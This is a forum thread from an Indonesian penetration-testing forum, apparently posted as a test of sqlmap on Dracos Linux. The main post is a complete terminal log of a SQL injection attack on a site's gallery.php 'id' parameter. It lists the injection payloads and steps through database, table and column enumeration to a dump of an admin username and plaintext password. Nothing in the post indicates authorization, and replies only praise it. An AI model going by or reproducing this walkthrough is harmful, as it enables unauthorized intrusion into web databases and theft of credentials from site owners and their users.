test sqlmap On dracos - Printable Version +- Indonesian Back|Track Team (https://www.indonesianbacktrack.or.id/forum) +-- Forum: Penetration Testing Os (https://www.indonesianbacktrack.or.id/forum/forum-170.html) +--- Forum: Dracos-linux (https://www.indonesianbacktrack.or.id/forum/forum-156.html) +---- Forum: Update-tools (https://www.indonesianbacktrack.or.id/forum/forum-157.html) +---- Thread: test sqlmap On dracos (/thread-2774.html) |
test sqlmap On dracos - sasaka - 06-18-2012 root@sasaka-laptop:/b/var/www# sqlmap -u http://www.situs-target.com/gallery.php?id=665 --dbs sqlmap/1.0-dev (r5102) - automatic SQL injection and database takeover tool http://www.sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 15:57:24 [15:57:24] [INFO] using '/attack/web/sqlmap/output/www.situs-target.com/session' as session file [15:57:25] [INFO] testing connection to the target url [15:57:27] [INFO] testing if the url is stable, wait a few seconds [15:57:30] [INFO] url is stable [15:57:30] [INFO] testing if GET parameter 'id' is dynamic [15:57:31] [INFO] confirming that GET parameter 'id' is dynamic [15:57:33] [INFO] GET parameter 'id' is dynamic [15:57:34] [WARNING] reflective value(s) found and filtering out [15:57:34] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL) [15:57:34] [INFO] testing sql injection on GET parameter 'id' [15:57:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:57:42] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [15:57:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [15:57:43] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [15:57:43] [INFO] testing 'MySQL > 5.0.11 stacked queries' [15:57:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [15:58:45] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable [15:58:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [15:58:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found [15:58:48] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [15:58:56] [INFO] target url appears to have 5 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y [15:59:26] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql) [15:59:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n [15:59:48] [WARNING] if UNION based SQL injection is not detected, please consider usage of option '--union-char' (e.g. --union-char=1) and/or try to force the back-end DBMS (e.g. --dbms=mysql) GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection points with a total of 45 HTTP(s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=665 AND 6649=6649 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=665 AND (SELECT 7219 FROM(SELECT COUNT(*),CONCAT(0x3a686e683a,(SELECT (CASE WHEN (7219=7219) THEN 1 ELSE 0 END)),0x3a6962713a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=665 AND SLEEP(5) --- [15:59:59] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.2 back-end DBMS: MySQL 5.0 [15:59:59] [INFO] fetching database names [16:00:01] [INFO] the SQL query used returns 2 entries [16:00:02] [INFO] retrieved: information_schema [16:00:04] [INFO] retrieved: 331329_jetski available databases [2]: [*] 331329_jetski [*] information_schema [16:00:04] [INFO] fetched data logged to text files under '/attack/web/sqlmap/output/www.situs-target.com' [*] shutting down at 16:00:04 root@sasaka-laptop:/b/var/www# sqlmap -u http://www.situs-target.com/gallery.php?id=665 -D 331329_jetski --tables sqlmap/1.0-dev (r5102) - automatic SQL injection and database takeover tool http://www.sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 16:00:33 [16:00:33] [INFO] using '/attack/web/sqlmap/output/www.situs-target.com/session' as session file [16:00:33] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [16:00:33] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=665 AND 6649=6649 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=665 AND (SELECT 7219 FROM(SELECT COUNT(*),CONCAT(0x3a686e683a,(SELECT (CASE WHEN (7219=7219) THEN 1 ELSE 0 END)),0x3a6962713a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=665 AND SLEEP(5) --- [16:00:35] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.2 back-end DBMS: MySQL 5.0 [16:00:35] [INFO] fetching tables for database: '331329_jetski' [16:00:36] [WARNING] reflective value(s) found and filtering out [16:00:36] [INFO] the SQL query used returns 12 entries [16:00:38] [INFO] retrieved: access [16:00:39] [INFO] retrieved: docserv [16:00:41] [INFO] retrieved: dossier [16:00:42] [INFO] retrieved: econtent_param [16:00:43] [INFO] retrieved: ecsgroups [16:00:45] [INFO] retrieved: ecsuser_info [16:00:46] [INFO] retrieved: ecsusers [16:00:48] [INFO] retrieved: photos_attach [16:00:49] [INFO] retrieved: service [16:00:51] [INFO] retrieved: subscriber [16:00:52] [INFO] retrieved: subserv [16:00:54] [INFO] retrieved: votes Database: 331329_jetski [12 tables] +----------------+ | access | | docserv | | dossier | | econtent_param | | ecsgroups | | ecsuser_info | | ecsusers | | photos_attach | | service | | subscriber | | subserv | | votes | +----------------+ [16:00:54] [INFO] fetched data logged to text files under '/attack/web/sqlmap/output/www.situs-target.com' root@sasaka-laptop:/b/var/www# sqlmap -u http://www.target.com/gallery.php?id=665 -D 331329_jetski -T ecsusers --columns sqlmap/1.0-dev (r5102) - automatic SQL injection and database takeover tool http://www.sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 16:10:58 [16:10:58] [INFO] using '/attack/web/sqlmap/output/www.target.com/session' as session file [16:10:58] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [16:10:58] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=665 AND 6649=6649 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=665 AND (SELECT 7219 FROM(SELECT COUNT(*),CONCAT(0x3a686e683a,(SELECT (CASE WHEN (7219=7219) THEN 1 ELSE 0 END)),0x3a6962713a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=665 AND SLEEP(5) --- [16:11:00] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.2 back-end DBMS: MySQL 5.0 [16:11:00] [INFO] fetching columns for table 'ecsusers' in database '331329_jetski' [16:11:02] [WARNING] reflective value(s) found and filtering out [16:11:02] [INFO] the SQL query used returns 8 entries [16:11:03] [INFO] retrieved: id [16:11:05] [INFO] retrieved: int(5) unsigned [16:11:06] [INFO] retrieved: username [16:11:07] [INFO] retrieved: varchar(15) [16:11:09] [INFO] retrieved: password [16:11:10] [INFO] retrieved: varchar(15) [16:11:12] [INFO] retrieved: group_id [16:11:13] [INFO] retrieved: int(3) [16:11:14] [INFO] retrieved: comments [16:11:16] [INFO] retrieved: varchar(255) [16:11:17] [INFO] retrieved: info_id [16:11:19] [INFO] retrieved: int(5) [16:11:20] [INFO] retrieved: datein [16:11:22] [INFO] retrieved: date [16:11:23] [INFO] retrieved: perms [16:11:25] [INFO] retrieved: int(1) Database: 331329_jetski Table: ecsusers [8 columns] +----------+-----------------+ | Column | Type | +----------+-----------------+ | comments | varchar(255) | | datein | date | | group_id | int(3) | | id | int(5) unsigned | | info_id | int(5) | | password | varchar(15) | | perms | int(1) | | username | varchar(15) | +----------+-----------------+ [16:11:25] [INFO] fetched data logged to text files under '/attack/web/sqlmap/output/www.jtarget.com [*] shutting down at 16:11:25 root@sasaka-laptop:/b/var/www# sqlmap -u http://www.target.com/gallery.php?id=665 -D 331329_jetski -T ecsusers -C username,password --dump sqlmap/1.0-dev (r5102) - automatic SQL injection and database takeover tool http://www.sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 16:11:46 [16:11:46] [INFO] using '/attack/web/sqlmap/output/www.target.com/session' as session file [16:11:46] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [16:11:46] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=665 AND 6649=6649 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=665 AND (SELECT 7219 FROM(SELECT COUNT(*),CONCAT(0x3a686e683a,(SELECT (CASE WHEN (7219=7219) THEN 1 ELSE 0 END)),0x3a6962713a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=665 AND SLEEP(5) --- [16:11:49] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.2 back-end DBMS: MySQL 5.0 do you want sqlmap to consider provided column(s): [1] as LIKE column names (default) [2] as exact column names 1 [16:11:52] [INFO] fetching columns like 'password, username' for table 'ecsusers' in database '331329_jetski [16:11:54] [WARNING] reflective value(s) found and filtering out [16:11:54] [INFO] the SQL query used returns 2 entries [16:11:55] [INFO] retrieved: username [16:11:57] [INFO] retrieved: varchar(15) [16:12:00] [INFO] retrieved: password [16:12:01] [INFO] retrieved: varchar(15) [16:12:01] [INFO] fetching entries of column(s) 'password, username' for table 'ecsusers' in database '331329_jetski' [16:12:03] [INFO] the SQL query used returns 1 entries [16:12:04] [INFO] retrieved: jetski# [16:12:05] [INFO] retrieved: admin [16:12:06] [INFO] analyzing table dump for possible password hashes Database: 331329_jetski Table: ecsusers [1 entry] +----------+-----------+ | username | password | +----------+-----------+ | admin | jetski# | +----------+-----------+ [16:12:06] [INFO] table '331329_jetski.ecsusers' dumped to CSV file '/attack/web/sqlmap/output/www.target.com/dump/331329_jetski/ecsusers.csv' [16:12:06] [INFO] fetched data logged to text files under '/attack/web/sqlmap/output/www.target.com RE: test sqlmap On dracos - zee eichel - 06-18-2012 this tested will be added on dracos linux man page .. trims for your testimonial .. RE: test sqlmap On dracos - Al - Ayyubi - 06-18-2012 mantep om RE: test sqlmap On dracos - bl4nkc0de - 06-18-2012 nice nih om RE: test sqlmap On dracos - Udalah - 06-19-2012 mantep ni, tapi ane belum coba dracosnya ni, udah ada yg 64 bit lum si? RE: test sqlmap On dracos - dracos-linux - 06-19-2012 Nice bro ...added on dracos page RE: test sqlmap On dracos - zee eichel - 08-05-2012 closed thread .. dracos sudah memiliki forum sendiri .. http://forum.dracos-linux.org |